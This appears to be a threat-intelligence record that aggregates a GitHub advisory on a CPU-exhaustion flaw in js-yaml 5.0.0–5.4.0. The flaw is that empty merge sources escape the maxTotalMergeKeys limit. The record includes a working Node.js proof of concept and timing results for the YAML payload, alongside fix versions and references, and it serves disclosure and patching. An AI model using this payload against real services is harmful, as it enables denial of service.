{"schema":"threatline.record/2","record":{"id":"GHSA-r3ph-w7gj-g6xm","aliases":["GHSA-r3ph-w7gj-g6xm"],"summary":"js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources","details":"## Summary\n\n`maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.\n\n## Example\n\n```yaml\narr: &arr [{}, {}, {}, ...] # N empty mappings\ntargets:\n  - <<: *arr                # repeated K times\n```\n\nFor every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged.\n\n## PoC\n\n```js\nimport { performance } from 'node:perf_hooks'\nimport { load, YAML11_SCHEMA } from 'js-yaml'\n\nconst n = 20000\n\nconst src =\n  'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\\n' +\n  'targets:\\n' +\n  '  - <<: *arr\\n'.repeat(n)\n\nconst started = performance.now()\n\nload(src, { schema: YAML11_SCHEMA })\n\nconsole.log(`${(performance.now() - started).toFixed(1)} ms`)\n```\n\nObserved results:\n\n| N | YAML size | Time |\n|---:|---:|---:|\n| 800 | ~13 KB | ~20 ms |\n| 3200 | ~50 KB | ~180 ms |\n| 20000 | ~500 KB | ~13 s |\n\n## Impact\n\nWhen merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit.\n\n## Fix\n\nCount every merge source mapping as one budget unit in addition to counting its keys.","categories":["Libraries & packages"],"product":"js-yaml","vendor":"","ecosystem":"npm","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-r3ph-w7gj-g6xm","source_modified_at":"2026-09-29T17:57:40Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"js-yaml"},"range":">= 5.0.0, <= 5.4.0"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-r3ph-w7gj-g6xm","source_modified_at":"2026-09-29T18:15:05.565309337Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"name":"js-yaml","ecosystem":"npm","purl":"pkg:npm/js-yaml"},"ranges":[{"type":"SEMVER","events":[{"introduced":"5.0.0"},{"fixed":"5.4.1"}]}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-r3ph-w7gj-g6xm","source_modified_at":"2026-09-29T17:57:40Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"js-yaml"},"version":"5.4.1"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-r3ph-w7gj-g6xm","source_modified_at":"2026-09-29T18:15:05.565309337Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"name":"js-yaml","ecosystem":"npm","purl":"pkg:npm/js-yaml"},"version":"5.4.1"}],"cvss":5.3,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-29T17:57:39Z","modified_at":"2026-09-29T18:15:05.565309337Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-r3ph-w7gj-g6xm","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-09-29T17:57:40Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-r3ph-w7gj-g6xm","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-09-29T18:15:05.565309337Z"}],"sources":["GitHub Advisory Database","OSV"],"references":[{"url":"https://github.com/nodeca/js-yaml/security/advisories/GHSA-r3ph-w7gj-g6xm","source":"GitHub Advisory Database"},{"url":"https://github.com/nodeca/js-yaml/commit/6a8e05f9a485188ed730ac81e81ae221352ef480","source":"GitHub Advisory Database"},{"url":"https://github.com/nodeca/js-yaml/releases/tag/5.4.1","source":"GitHub Advisory Database"},{"url":"https://github.com/advisories/GHSA-r3ph-w7gj-g6xm","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-09-29T18:15:05.565309337Z","content_hash":"bced7243d72de362ca22515835f06c4b6514b2cd4a312e6160ab9c0e01fc7106"}}
